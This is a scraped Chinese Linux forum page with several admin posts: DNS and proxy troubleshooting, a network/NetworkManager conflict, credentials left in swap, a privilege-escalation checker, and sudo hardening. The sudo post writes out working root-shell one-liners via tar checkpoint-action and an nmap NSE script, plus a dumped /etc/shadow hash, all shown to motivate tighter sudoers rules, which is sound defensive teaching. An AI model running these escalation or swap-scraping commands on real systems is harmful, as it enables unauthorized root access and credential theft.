4,检查一下DNS服务是否工作正常
一般公网上的DNS还是很稳定的,但是公司或者学校内部的DNS可能有问题出现,简单测试一下本地DNS是否可用,测试方式可以使用nslookup
[root@bogon ~]# nslookup www.baidu.com
Server: 202.102.224.68
Address: 202.102.224.68#53

Non-authoritative answer:
www.baidu.com canonical name = www.a.shifen.com.
Name: www.a.shifen.com
Address: 61.135.169.125
Name: www.a.shifen.com
Address: 61.135.169.121

[root@bogon ~]#

如果内网DNS有问题,可以临时换成公网的DNS,
 
5 检测浏览器是否使用代理
可以ping通www.baidu.com 但是浏览器无法打开网页,一般都是浏览器配合了代理,取消即可。chrom为例:

QQ截图20180919202415.png


QQ截图20180919202526.png

 
 
通过这一步一步的排错,一般情况都能解决,如果疏漏了那点,希望大家指正。谢谢。
 
 
 

Linux 下network和NetworkManager 冲突导致网络异常

ttgo2 发表了文章 • 0 个评论 • 562 次浏览 • 2018-09-18 16:41 • 来自相关话题

一,问题-找不到网卡配置文件(ifcfg-eth0)
Centos 6.5 Linux 系统中,有的同学发现自己的网卡在/etc/sysconfig/network-scripts/下面没有发现有ifcfg-eth0,针对这个问题我们进行讨论一下:
 
在/etc/sysconfig/network-scripts/下没有发现有ifcfg-eth0 的文件,检测如下:-rw-r--r--. 1 root root 254 Oct 10 2013 ifcfg-lo
lrwxrwxrwx. 1 root root 20 Mar 20 2017 ifdown -> ../../../sbin/ifdown
-rwxr-xr-x. 1 root root 627 Oct 10 2013 ifdown-bnep
-rwxr-xr-x. 1 root root 5430 Oct 10 2013 ifdown-eth
-rwxr-xr-x. 1 root root 781 Oct 10 2013 ifdown-ippp
-rwxr-xr-x. 1 root root 4168 Oct 10 2013 ifdown-ipv6
lrwxrwxrwx. 1 root root 11 Mar 20 2017 ifdown-isdn -> ifdown-ippp
-rwxr-xr-x. 1 root root 1481 Oct 10 2013 ifdown-post
-rwxr-xr-x. 1 root root 1064 Oct 10 2013 ifdown-ppp
-rwxr-xr-x. 1 root root 835 Oct 10 2013 ifdown-routes
-rwxr-xr-x. 1 root root 1465 Oct 10 2013 ifdown-sit
-rwxr-xr-x. 1 root root 1434 Oct 10 2013 ifdown-tunnel
lrwxrwxrwx. 1 root root 18 Mar 20 2017 ifup -> ../../../sbin/ifup
-rwxr-xr-x. 1 root root 12444 Oct 10 2013 ifup-aliases
-rwxr-xr-x. 1 root root 859 Oct 10 2013 ifup-bnep
-rwxr-xr-x. 1 root root 10556 Oct 10 2013 ifup-eth
-rwxr-xr-x. 1 root root 11971 Oct 10 2013 ifup-ippp
-rwxr-xr-x. 1 root root 10490 Oct 10 2013 ifup-ipv6
lrwxrwxrwx. 1 root root 9 Mar 20 2017 ifup-isdn -> ifup-ippp
-rwxr-xr-x. 1 root root 727 Oct 10 2013 ifup-plip
-rwxr-xr-x. 1 root root 954 Oct 10 2013 ifup-plusb
-rwxr-xr-x. 1 root root 2364 Oct 10 2013 ifup-post
-rwxr-xr-x. 1 root root 4154 Oct 10 2013 ifup-ppp
-rwxr-xr-x. 1 root root 1925 Oct 10 2013 ifup-routes
-rwxr-xr-x. 1 root root 3289 Oct 10 2013 ifup-sit
-rwxr-xr-x. 1 root root 2488 Oct 10 2013 ifup-tunnel
-rwxr-xr-x. 1 root root 3770 Oct 10 2013 ifup-wireless
-rwxr-xr-x. 1 root root 4623 Oct 10 2013 init.ipv6-global
-rwxr-xr-x. 1 root root 1125 Oct 10 2013 net.hotplug
-rw-r--r--. 1 root root 13386 Oct 10 2013 network-functions
-rw-r--r--. 1 root root 29853 Oct 10 2013 network-functions-ipv6
 
网卡信息[root@localhost network-scripts]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:AD:6F:DC
inet addr:192.168.1.115 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fead:6fdc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:194313 errors:0 dropped:0 overruns:0 frame:0
TX packets:2643 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:112599638 (107.3 MiB) TX bytes:157256 (153.5 KiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1077 errors:0 dropped:0 overruns:0 frame:0
TX packets:1077 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:105953 (103.4 KiB) TX bytes:105953 (103.4 KiB)




网卡有地址,并且工作正常,那原因出在什么地方呢?
 
二 问题分析
在Centos 6.X 版本中,有两个服务来负责网络的管理,network和NetworkManager 两个服务,其中这两个服务可以同时存在,但是如果你运行的级别是在id=3(命令多用户模式)使用的服务为network,如果是id=5(多用户图形化)使用的是networkmanager服务。
 
如果没有发现ifcfg-eth0 文件,很有可能是因为network这个服务没有开启,检测如下:[root@localhost network-scripts]# chkconfig --list | grep -i netw
NetworkManager 0:off 1:off 2:on 3:on 4:on 5:on 6:off
network 0:off 1:off 2:off 3:off 4:off 5:off 6:off
[root@localhost network-scripts]# 三、解决问题
如果出现了冲突,尽可能使用一个服务即可,不要同时使用,对其他的服务进行关闭,操作如下
chkconfig NetworkManager off
然后重启系统,复制lo的文件,修改名字为eth0,然后进行修改内容如下:DEVICE="eth0"
BOOTPROTO=“static” // 选择静态
HWADDR="00:0C:29:E8:08:2B"
IPV6INIT="yes"
NM_CONTROLLED="yes"
ONBOOT="yes"
IPADDR=192.168.2.89
NETMASK=255.255.255.0
GATEWAY=192.168.2.1
TYPE="Ethernet"
UUID="e264bc1a-e8ca-4637-951d-ece828187789 查看全部
一,问题-找不到网卡配置文件(ifcfg-eth0)
Centos 6.5 Linux 系统中,有的同学发现自己的网卡在/etc/sysconfig/network-scripts/下面没有发现有ifcfg-eth0,针对这个问题我们进行讨论一下:
 
在/etc/sysconfig/network-scripts/下没有发现有ifcfg-eth0 的文件,检测如下:
-rw-r--r--. 1 root root   254 Oct 10  2013 ifcfg-lo
lrwxrwxrwx. 1 root root 20 Mar 20 2017 ifdown -> ../../../sbin/ifdown
-rwxr-xr-x. 1 root root 627 Oct 10 2013 ifdown-bnep
-rwxr-xr-x. 1 root root 5430 Oct 10 2013 ifdown-eth
-rwxr-xr-x. 1 root root 781 Oct 10 2013 ifdown-ippp
-rwxr-xr-x. 1 root root 4168 Oct 10 2013 ifdown-ipv6
lrwxrwxrwx. 1 root root 11 Mar 20 2017 ifdown-isdn -> ifdown-ippp
-rwxr-xr-x. 1 root root 1481 Oct 10 2013 ifdown-post
-rwxr-xr-x. 1 root root 1064 Oct 10 2013 ifdown-ppp
-rwxr-xr-x. 1 root root 835 Oct 10 2013 ifdown-routes
-rwxr-xr-x. 1 root root 1465 Oct 10 2013 ifdown-sit
-rwxr-xr-x. 1 root root 1434 Oct 10 2013 ifdown-tunnel
lrwxrwxrwx. 1 root root 18 Mar 20 2017 ifup -> ../../../sbin/ifup
-rwxr-xr-x. 1 root root 12444 Oct 10 2013 ifup-aliases
-rwxr-xr-x. 1 root root 859 Oct 10 2013 ifup-bnep
-rwxr-xr-x. 1 root root 10556 Oct 10 2013 ifup-eth
-rwxr-xr-x. 1 root root 11971 Oct 10 2013 ifup-ippp
-rwxr-xr-x. 1 root root 10490 Oct 10 2013 ifup-ipv6
lrwxrwxrwx. 1 root root 9 Mar 20 2017 ifup-isdn -> ifup-ippp
-rwxr-xr-x. 1 root root 727 Oct 10 2013 ifup-plip
-rwxr-xr-x. 1 root root 954 Oct 10 2013 ifup-plusb
-rwxr-xr-x. 1 root root 2364 Oct 10 2013 ifup-post
-rwxr-xr-x. 1 root root 4154 Oct 10 2013 ifup-ppp
-rwxr-xr-x. 1 root root 1925 Oct 10 2013 ifup-routes
-rwxr-xr-x. 1 root root 3289 Oct 10 2013 ifup-sit
-rwxr-xr-x. 1 root root 2488 Oct 10 2013 ifup-tunnel
-rwxr-xr-x. 1 root root 3770 Oct 10 2013 ifup-wireless
-rwxr-xr-x. 1 root root 4623 Oct 10 2013 init.ipv6-global
-rwxr-xr-x. 1 root root 1125 Oct 10 2013 net.hotplug
-rw-r--r--. 1 root root 13386 Oct 10 2013 network-functions
-rw-r--r--. 1 root root 29853 Oct 10 2013 network-functions-ipv6

 
网卡信息
[root@localhost network-scripts]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:AD:6F:DC
inet addr:192.168.1.115 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fead:6fdc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:194313 errors:0 dropped:0 overruns:0 frame:0
TX packets:2643 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:112599638 (107.3 MiB) TX bytes:157256 (153.5 KiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1077 errors:0 dropped:0 overruns:0 frame:0
TX packets:1077 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:105953 (103.4 KiB) TX bytes:105953 (103.4 KiB)




网卡有地址,并且工作正常,那原因出在什么地方呢?
 
二 问题分析
在Centos 6.X 版本中,有两个服务来负责网络的管理,network和NetworkManager 两个服务,其中这两个服务可以同时存在,但是如果你运行的级别是在id=3(命令多用户模式)使用的服务为network,如果是id=5(多用户图形化)使用的是networkmanager服务。
 
如果没有发现ifcfg-eth0 文件,很有可能是因为network这个服务没有开启,检测如下:
[root@localhost network-scripts]# chkconfig --list | grep -i netw
NetworkManager 0:off 1:off 2:on 3:on 4:on 5:on 6:off
network 0:off 1:off 2:off 3:off 4:off 5:off 6:off
[root@localhost network-scripts]#
三、解决问题
如果出现了冲突,尽可能使用一个服务即可,不要同时使用,对其他的服务进行关闭,操作如下
chkconfig NetworkManager off
然后重启系统,复制lo的文件,修改名字为eth0,然后进行修改内容如下:
DEVICE="eth0"
BOOTPROTO=“static” // 选择静态
HWADDR="00:0C:29:E8:08:2B"
IPV6INIT="yes"
NM_CONTROLLED="yes"
ONBOOT="yes"
IPADDR=192.168.2.89
NETMASK=255.255.255.0
GATEWAY=192.168.2.1
TYPE="Ethernet"
UUID="e264bc1a-e8ca-4637-951d-ece828187789

Linux 系统下SWAP区的安全隐患

ttgo2 发表了文章 • 0 个评论 • 868 次浏览 • 2018-09-13 22:18 • 来自相关话题

一、 Linux的交换分区Linux内核为了提高读写效率与速度,会将文件在内存中进行缓存,这部分内存就是Cache Memory(缓存内存)。即使你的程序运行结束后,Cache Memory也不会自动释放。这就会导致你在Linux系统中程序频繁读写文件后,你会发现可用物理内存变少。当系统的物理内存不够用的时候,就需要将物理内存中的一部分空间释放出来,以供当前运行的程序使用。那些被释放的空间可能来自一些很长时间没有什么操作的程序,这些被释放的空间被临时保存到Swap空间中,等到那些程序要运行时,再从Swap分区中恢复保存的数据到内存中。这样,系统总是在物理内存不够时,才进行Swap交换。
二、SWAP分区中的安全问题
交换分区中存在十分敏感的信息内容,其中包括了密码,证书,email等重要信息,特别为对后渗透阶段提供了帮助,因此潜在的风险巨大,风险点如下:
Linux的帐户和明文密码
Web登录/密码
Email地址
Wifi的SSID和密钥
GPG私钥
Keepass主密钥
Samba证书三、swap的常用命令
3.1 查看swap的设备位置
[root@bogon ~]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1

[root@bogon ~]# cat /proc/swaps
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1
[root@bogon ~]#

3.2 查看swap的分区大小
[root@bogon ~]# free -m
total used free shared buffers cached
Mem: 980 577 403 0 26 211
-/+ buffers/cache: 338 642
Swap: 1983 0 1983
3.3 swap 分区大小设置
系统的Swap分区大小设置多大才是最优呢?这是没有标准答案,ORACLE的官方文档就推荐如下设置
4G以内的物理内存,SWAP 设置为内存的2倍。
4-8G的物理内存,SWAP 等于内存大小。
8-64G 的物理内存,SWAP 设置为8G。
64-256G物理内存,SWAP 设置为16G。四、查找分区内的敏感信息
4.1 查看email 相关信息
因为是虚拟机,没有真实使用记录,随意没有有价值的信息,操作命令如下:
[root@bogon ~]# strings /dev/sda3 | grep -i 'email'
for root, dirs, files in os.walk('python/Lib/email'):
email.utils
pkcs9_email_address
ext_key_usage_email_protect
SEC_OID_EXT_KEY_USAGE_EMAIL_PROTECT
sec_oid_ext_key_usage_email_protect
SEC_OID_PKCS9_EMAIL_ADDRESS
sec_oid_pkcs9_email_address
Needed for Python 1.5.2 (no email package available)
Determine the subject for the email.
SEC_ERROR_NO_EMAIL_CERT
email_trust_str
email_address
certificateUsageEmailSigner
certificateUsageEmailRecipient
email
SEC_ERROR_NO_EMAIL_CERT: Not encrypted or signed: you do not yet have an email certificate.
email and object signing it's trusted to create server
4.2 自动化脚本
脚本的github为:https://github.com/sevagas/swap_digger,大家可以自行下载,进行尝试










 
五、加固方法
5.1 禁止使用swap
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 8 -1
[root@bogon swap_digger-master]# swapoff /dev/sda3
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
[root@bogon swap_digger-master]# swapon /dev/sda3
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1
[root@bogon swap_digger-master]#
5.2 对swap进行加密 查看全部
一、 Linux的交换分区Linux内核为了提高读写效率与速度,会将文件在内存中进行缓存,这部分内存就是Cache Memory(缓存内存)。即使你的程序运行结束后,Cache Memory也不会自动释放。这就会导致你在Linux系统中程序频繁读写文件后,你会发现可用物理内存变少。当系统的物理内存不够用的时候,就需要将物理内存中的一部分空间释放出来,以供当前运行的程序使用。那些被释放的空间可能来自一些很长时间没有什么操作的程序,这些被释放的空间被临时保存到Swap空间中,等到那些程序要运行时,再从Swap分区中恢复保存的数据到内存中。这样,系统总是在物理内存不够时,才进行Swap交换。
二、SWAP分区中的安全问题
交换分区中存在十分敏感的信息内容,其中包括了密码,证书,email等重要信息,特别为对后渗透阶段提供了帮助,因此潜在的风险巨大,风险点如下:
Linux的帐户和明文密码
Web登录/密码
Email地址
Wifi的SSID和密钥
GPG私钥
Keepass主密钥
Samba证书
三、swap的常用命令
3.1 查看swap的设备位置
[root@bogon ~]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1

[root@bogon ~]# cat /proc/swaps
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1
[root@bogon ~]#

3.2 查看swap的分区大小
[root@bogon ~]# free -m
total used free shared buffers cached
Mem: 980 577 403 0 26 211
-/+ buffers/cache: 338 642
Swap: 1983 0 1983
3.3 swap 分区大小设置
系统的Swap分区大小设置多大才是最优呢?这是没有标准答案,ORACLE的官方文档就推荐如下设置
4G以内的物理内存,SWAP 设置为内存的2倍。
4-8G的物理内存,SWAP 等于内存大小。
8-64G 的物理内存,SWAP 设置为8G。
64-256G物理内存,SWAP 设置为16G。
四、查找分区内的敏感信息
4.1 查看email 相关信息
因为是虚拟机,没有真实使用记录,随意没有有价值的信息,操作命令如下:
[root@bogon ~]# strings /dev/sda3 | grep -i 'email'
for root, dirs, files in os.walk('python/Lib/email'):
email.utils
pkcs9_email_address
ext_key_usage_email_protect
SEC_OID_EXT_KEY_USAGE_EMAIL_PROTECT
sec_oid_ext_key_usage_email_protect
SEC_OID_PKCS9_EMAIL_ADDRESS
sec_oid_pkcs9_email_address
Needed for Python 1.5.2 (no email package available)
Determine the subject for the email.
SEC_ERROR_NO_EMAIL_CERT
email_trust_str
email_address
certificateUsageEmailSigner
certificateUsageEmailRecipient
email
SEC_ERROR_NO_EMAIL_CERT: Not encrypted or signed: you do not yet have an email certificate.
email and object signing it's trusted to create server
4.2 自动化脚本
脚本的github为:https://github.com/sevagas/swap_digger,大家可以自行下载,进行尝试

swap_digger.png


swap_digger_extended.png

 
五、加固方法
5.1 禁止使用swap
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 8 -1
[root@bogon swap_digger-master]# swapoff /dev/sda3
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
[root@bogon swap_digger-master]# swapon /dev/sda3
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1
[root@bogon swap_digger-master]#
5.2 对swap进行加密

检查Linux是否被提权(unix-privesc-check)

ttgo2 发表了文章 • 0 个评论 • 740 次浏览 • 2018-09-08 23:54 • 来自相关话题

1、Unix/Linux提权漏洞快速检测工具unix-privesc-check

unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具。它是一个Shell文件,可以检测所在系统的错误配置,以发现可以用于提权的漏洞。该工具适用于安全审计、渗透测试和系统维护等场景。它可以检测与权限相关的各类文件的读写权限,如认证相关文件、重要配置文件、交换区文件、cron job文件、设备文件、其他用户的家目录、正在执行的文件等等。如果发现可以利用的漏洞,就会给出提示warning。 
unix-privesc-check并不会检测所有提权漏洞的潜在情况。它只是快速进行检测,并以简洁的方式给出提权漏洞相关的建议,大大减少用户在文件权限检测方面的枯燥工作的量。
将unix-privesc-check上传到目标主机上,或者直接在本机上。2 提权检查
执行:unix-privesc-check standard









 
转载 https://blog.csdn.net/noob_f/article/details/72758420
 
 
  查看全部
1、Unix/Linux提权漏洞快速检测工具unix-privesc-check

unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具。它是一个Shell文件,可以检测所在系统的错误配置,以发现可以用于提权的漏洞。该工具适用于安全审计、渗透测试和系统维护等场景。它可以检测与权限相关的各类文件的读写权限,如认证相关文件、重要配置文件、交换区文件、cron job文件、设备文件、其他用户的家目录、正在执行的文件等等。如果发现可以利用的漏洞,就会给出提示warning。 
unix-privesc-check并不会检测所有提权漏洞的潜在情况。它只是快速进行检测,并以简洁的方式给出提权漏洞相关的建议,大大减少用户在文件权限检测方面的枯燥工作的量。
将unix-privesc-check上传到目标主机上,或者直接在本机上。
2 提权检查
执行:unix-privesc-check standard

20170525222003505.png


20170525222051600.png

 
转载 https://blog.csdn.net/noob_f/article/details/72758420

 
 
 

讨论一下sudo的安全性问题

ttgo2 发表了文章 • 1 个评论 • 1042 次浏览 • 2018-09-08 23:29 • 来自相关话题

最近看过一篇文章关于sudo的安全性的讨论,正好自己最近工作也与Linux有关,自己总结了一下,给大家一起分享,现在企业在Linux的使用中,越来越关注安全问题,运维中使用普通用户进行管理,遇到需要root账号执行时候,使用sudo 命令来提升自己执行权限,这样做是为了把账号权限降低,避免安全。
 
一、 sudo 是什么
sudo命令用来以其他身份来执行命令,预设的身份为root。在/etc/sudoers中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo,则会发出警告的邮件给管理员。用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。
选项参数-b:在后台执行指令;
-h:显示帮助;
-H:将HOME环境变量设为新身份的HOME环境变量;
-k:结束密码的有效期限,也就是下次再执行sudo时便需要输入密码;。
-l:列出目前用户可执行与无法执行的指令;
-p:改变询问密码的提示符号;
-s<shell>:执行指定的shell;
-u<用户>:以指定的用户作为新的身份。若不加上此参数,则预设以root作为新的身份;
-v:延长密码有效期限5分钟;
-V :显示版本信息。举例: 使用sudo执行 cat /etc/shadow[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[ttgo2@bogon ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied

[ttgo2@bogon ~]$ sudo cat /etc/shadow
[sudo] password for ttgo2:
root:$1$txEWMiG.$4kBR6Cfsl1fyeiT540BIC.:17351:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
sync:*:15980:0:99999:7:::
shutdown:*:15980:0:99999:7:::
二、 抛出问题
使用普通用户执行 sudo su - root 是不是直接使用root 账号了? 我们来看一下执行结果。
问题1:直接执行sudo su - root[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon ~]$ sudo su - root
[root@bogon ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@bogon ~]#
 
还有其他多种操作可以直接提升到root用户,方法如下:
 
问题2:执行sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash[ttgo2@bogon tmp]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon tmp]$ sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: testfile: Cannot stat: No such file or directory
[root@bogon tmp]#
[root@bogon tmp]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@bogon tmp]#
[root@bogon tmp]#
问题3:nmap 可以通过执行脚本来获取root的shell,执行如下[ttgo2@bogon tmp]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$ echo "os.execute('/bin/sh')">/tmp/shell.nse
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$ sudo nmap --script=/tmp/shell.nse

Starting Nmap 5.51 ( http://nmap.org ) at 2018-09-08 08:00 PDT
sh-4.1#
sh-4.1#
sh-4.1#
sh-4.1#
这样的方法还有还有很多,比如:strace、ftp、nmap、tcpdump、except、nano,这些命令都是可以实现sudo + 命令 提权成root shell。问题是出在什么地方,我们下面来看一下
 
三,问题解决
3.1 问题根源:普通用户使用sudo 配置(对权限没有控制)
在Centos 6.X Linux系统中,默认多普通用户是不允许使用sudo命令的,如果使用就会提示如下信息:[sec17@bogon tmp]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
[sec17@bogon tmp]$ sudo cat /etc/shadow

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for sec17:
[b]sec17 is not in the sudoers file. This incident will be reported.
[/b][sec17@bogon tmp]$
很多系统管理直接对  vim /etc/sudoers 进行的编辑,增加权限,或者使用visudo 87
88 ## Next comes the main part: which users can run what software on
89 ## which machines (the sudoers file can be shared between multiple
90 ## systems).
91 ## Syntax:
92 ##
93 ## user MACHINE=COMMANDS
94 ##
95 ## The COMMANDS section may have other options added to it.
96 ##
97 ## Allow root to run any commands anywhere
[b]98 root ALL=(ALL) ALL
99 ttgo2 ALL=(ALL) ALL
100 sec17 ALL=(ALL) ALL[/b]
说明一下   “sec17   ALL=(ALL)       ALL” 配置含义,截图如下:





 
如果是权限是ALL的话,那么就可以执行任何命令了。因此存在非常大的安全问题,甚至可以通过sudo passwd 修改root密码,如何解决呢?我们往下继续。
 
3.2 如何解决
 
我们执行普通用户的操作命令,这个要特别熟悉该普通用的业务和操作命令和规范,那么现在解决一下 普通用户 执行passwd 修改root的方法,执行 visudo 命令,添加一个命令如下:ttgo2 ALL=(root) !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, !/usr/bin/passwd root




 
保存并退出,我们现在使用ttgo2 普通行号进行测试。如下:[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon ~]$
[ttgo2@bogon ~]$ sudo passwd
[sudo] password for ttgo2:
[b]Sorry, user ttgo2 is not allowed to execute '/usr/bin/passwd' as root on bogon.
[/b][ttgo2@bogon ~]$


 
 
注意问题: 在配置visudo的时候,需要添加命令的全路径,多个命令直接使用“,”逗号隔开。
 
夜色已深,已经困的快睁不开双眼了,希望能对大家有所帮助
 
 
  查看全部
最近看过一篇文章关于sudo的安全性的讨论,正好自己最近工作也与Linux有关,自己总结了一下,给大家一起分享,现在企业在Linux的使用中,越来越关注安全问题,运维中使用普通用户进行管理,遇到需要root账号执行时候,使用sudo 命令来提升自己执行权限,这样做是为了把账号权限降低,避免安全。
 
一、 sudo 是什么
sudo命令用来以其他身份来执行命令,预设的身份为root。在/etc/sudoers中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo,则会发出警告的邮件给管理员。用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。
选项参数
-b:在后台执行指令;
-h:显示帮助;
-H:将HOME环境变量设为新身份的HOME环境变量;
-k:结束密码的有效期限,也就是下次再执行sudo时便需要输入密码;。
-l:列出目前用户可执行与无法执行的指令;
-p:改变询问密码的提示符号;
-s<shell>:执行指定的shell;
-u<用户>:以指定的用户作为新的身份。若不加上此参数,则预设以root作为新的身份;
-v:延长密码有效期限5分钟;
-V :显示版本信息。
举例: 使用sudo执行 cat /etc/shadow
[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[ttgo2@bogon ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied

[ttgo2@bogon ~]$ sudo cat /etc/shadow
[sudo] password for ttgo2:
root:$1$txEWMiG.$4kBR6Cfsl1fyeiT540BIC.:17351:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
sync:*:15980:0:99999:7:::
shutdown:*:15980:0:99999:7:::

二、 抛出问题
使用普通用户执行 sudo su - root 是不是直接使用root 账号了? 我们来看一下执行结果。
问题1:直接执行sudo su - root
[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon ~]$ sudo su - root
[root@bogon ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@bogon ~]#

 
还有其他多种操作可以直接提升到root用户,方法如下:
 
问题2:执行sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
[ttgo2@bogon tmp]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon tmp]$ sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: testfile: Cannot stat: No such file or directory
[root@bogon tmp]#
[root@bogon tmp]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@bogon tmp]#
[root@bogon tmp]#

问题3:nmap 可以通过执行脚本来获取root的shell,执行如下
[ttgo2@bogon tmp]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$ echo "os.execute('/bin/sh')">/tmp/shell.nse
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$ sudo nmap --script=/tmp/shell.nse

Starting Nmap 5.51 ( http://nmap.org ) at 2018-09-08 08:00 PDT
sh-4.1#
sh-4.1#
sh-4.1#
sh-4.1#

这样的方法还有还有很多,比如:strace、ftp、nmap、tcpdump、except、nano,这些命令都是可以实现sudo + 命令 提权成root shell。问题是出在什么地方,我们下面来看一下
 
三,问题解决
3.1 问题根源:普通用户使用sudo 配置(对权限没有控制)
在Centos 6.X Linux系统中,默认多普通用户是不允许使用sudo命令的,如果使用就会提示如下信息:
[sec17@bogon tmp]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
[sec17@bogon tmp]$ sudo cat /etc/shadow

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for sec17:
[b]sec17 is not in the sudoers file. This incident will be reported.
[/b][sec17@bogon tmp]$

很多系统管理直接对  vim /etc/sudoers 进行的编辑,增加权限,或者使用visudo
  87 
88 ## Next comes the main part: which users can run what software on
89 ## which machines (the sudoers file can be shared between multiple
90 ## systems).
91 ## Syntax:
92 ##
93 ## user MACHINE=COMMANDS
94 ##
95 ## The COMMANDS section may have other options added to it.
96 ##
97 ## Allow root to run any commands anywhere
[b]98 root ALL=(ALL) ALL
99 ttgo2 ALL=(ALL) ALL
100 sec17 ALL=(ALL) ALL[/b]

说明一下   “sec17   ALL=(ALL)       ALL” 配置含义,截图如下:

wKioL1MYJ0CRJZGSAAD9-EL6Zs4959.jpg

 
如果是权限是ALL的话,那么就可以执行任何命令了。因此存在非常大的安全问题,甚至可以通过sudo passwd 修改root密码,如何解决呢?我们往下继续。
 
3.2 如何解决
 
我们执行普通用户的操作命令,这个要特别熟悉该普通用的业务和操作命令和规范,那么现在解决一下 普通用户 执行passwd 修改root的方法,执行 visudo 命令,添加一个命令如下:
ttgo2  ALL=(root)     !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, !/usr/bin/passwd root

QQ截图20180908232316.png

 
保存并退出,我们现在使用ttgo2 普通行号进行测试。如下:
[ttgo2@bogon ~]$ id
